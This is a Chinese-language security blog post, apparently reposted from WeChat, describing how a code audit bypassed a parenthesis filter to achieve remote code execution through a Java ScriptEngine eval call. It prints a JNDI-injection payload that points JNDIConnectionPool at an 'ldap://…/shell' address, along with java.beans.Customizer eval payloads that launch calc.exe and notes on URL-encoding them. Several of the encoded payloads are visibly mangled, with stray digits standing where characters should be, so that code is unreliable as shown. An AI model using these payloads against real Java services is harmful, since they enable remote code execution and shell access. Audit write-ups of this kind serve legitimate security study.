实战 | 记一次某系统代码注入绕过

admin 2024年4月18日02:14:05评论10 views字数 2209阅读7分21秒阅读模式

0x01 前言

某次项目进行代码审计碰到的一个点,由于项目保密性,所以不能截图原代码,这里会对原环境进行模拟,来尽可能还原当时的场景。

0x02 分析与利用     

翻看了一下,这个点很明显,很快就发现了,就如下图所示。(大致的一个代码还原)

实战 | 记一次某系统代码注入绕过

可以看到这个地方使用了ScriptEngineManager。

ScriptEngineManager manager = new ScriptEngineManager(null);ScriptEngine engineManager = manager.getEngineByName("js");

并且后面调用了eval将data传入进行执行。

至于为什么产生代码注入我这里就不作过多解释了。

感兴趣的可以看一看:

https://docs.oracle.com/javase/7/docs/technotes/guides/scripting/programmer_guide/#top
我们可以看到代码中存在一个方法 ReplaceData,来看看他的实现。

实战 | 记一次某系统代码注入绕过

这个方法把我们传入的参数当中的"()"给进行替换了,也就是说能调用的Java.lang.Runtime.getRuntime().exec()并不能直接使用了。

实战 | 记一次某系统代码注入绕过

经过了这个函数会变成Java.lang.Runtime.getRunti>=<=.exec>=<=。

实战 | 记一次某系统代码注入绕过

那我们为什么不直接将()进行编码后直接RCE呢?

java.lang.Runtime.getRuntime().exec50"calc"51

实战 | 记一次某系统代码注入绕过

实际环境中的代码做了一些处理,做了什么处理具体逻辑我已经忘了

实战 | 记一次某系统代码注入绕过

那么接下来我们做什么才能让他成功命令执行?

我当时看到过滤了()和[]的时候,想到了去找fastjson,但很可惜环境依赖版本是目前无poc的1.2.83版本,最多也就dns链子能玩玩,但是那又有什么用呢,那不是我追求的目标。

实战 | 记一次某系统代码注入绕过

想想我们常用能够rce的java类。
Runtime.exec() ×
ProcessBuilder ×
反序列化?反射? ×

好像都要用到(),那有没有什么get、set方法能将恶意参数传入到方法当中被调用呢?为什么要去找这些方法呢?
请看VCR.jpg。
在那之前可以看看这篇文章。

https://blog.csdn.net/dnc8371/article/details/106704883
首先我们创建一个TestBean类然后写入一个 String name并创建get、set方法(其实get就就够了)

实战 | 记一次某系统代码注入绕过

实战 | 记一次某系统代码注入绕过

在像我这样传入,你就会发现,输出了Snab。

实战 | 记一次某系统代码注入绕过

呐呐呐~
在js当中Object.name其实可以等效于java当中的object.getName,那么有了这个思路就可以开始寻找我们的利用链了。

实战 | 记一次某系统代码注入绕过

黄天不负有坤人,咳咳有心人。
Org.docx4j.org.apache.xalan.lib.sql.JNDIConnetionPool。

实战 | 记一次某系统代码注入绕过

实战 | 记一次某系统代码注入绕过

实战 | 记一次某系统代码注入绕过

实战 | 记一次某系统代码注入绕过

厚礼蟹!!!

实战 | 记一次某系统代码注入绕过

Lookup是什么相比在坐的各位并不陌生,那么接下来就可以使用上我们的链子了。
a = new org.apache.xalan.lib.sql.JNDIConnectionPool,a.setjndiPath="ldap://0.0.0.0:1389/shell",a.connection
看看效果。

实战 | 记一次某系统代码注入绕过

那可真是太帮了m3 bro。
这只是其中一条利用的方式。
在p牛的代码审计当中我向他请教了另外一种方式,大家一定要看看,太牛了。
https://www.leavesongs.com/PENETRATION/nashorn-rce-without-parentheses.html
我在环境上面也复现了一下。
String a = "a = new java.beans.Customizer {setObject: eval},a.object = "java.lang.Runtime.getRuntime1345013451.exec13450'calc.exe'13451"";

实战 | 记一次某系统代码注入绕过

但是我们在传接口的时候要进行url编码,要注意一下。
a = new java.beans.Customizer {setObject: eval},a.object="java.lang.Runtime.getRuntime5051.exec50'calc.exe'51"
将这条payload进行url编码。

实战 | 记一次某系统代码注入绕过

为什么不用13450来表示?可以看到我们在本地的时候使用134来表示 在组合 50-50来表示(,传入到engineManager的时候已经变成了。

实战 | 记一次某系统代码注入绕过

那么如果我们通过url编码之后传参呢?

实战 | 记一次某系统代码注入绕过

这里我写了一个简单的接口。

实战 | 记一次某系统代码注入绕过

可以看到传参进来的时候进行了一次url解码,然后50还没有被转,当我们进入eval的时候会进行一次转码。

实战 | 记一次某系统代码注入绕过

实战 | 记一次某系统代码注入绕过

那如果我们传这条链子的话。
a=new java.beans.Customizer {setObject: eval},a.object ="java.lang.Runtime.getRuntime1345013451.exec13450'calc.exe'13451"

实战 | 记一次某系统代码注入绕过

也就不会被解析成(,也就执行不成功了。
最后欢迎各位师傅探讨更多的利用方式。
以及如果做了防御该如何利用?
比如:
1、 传进来的参数都被转小写了。
2、 限制了传进来的参数长度。
等等。

0x03 小密圈‍‍‍‍‍‍‍‍

最后送你一张优惠券,欢迎加入小密圈,好朋友。

实战 | 记一次某系统代码注入绕过

原文始发于微信公众号(小黑说安全):实战 | 记一次某系统代码注入绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月18日02:14:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 记一次某系统代码注入绕过http://cn-sec.com/archives/2668248.html

发表评论

匿名网友 填写信息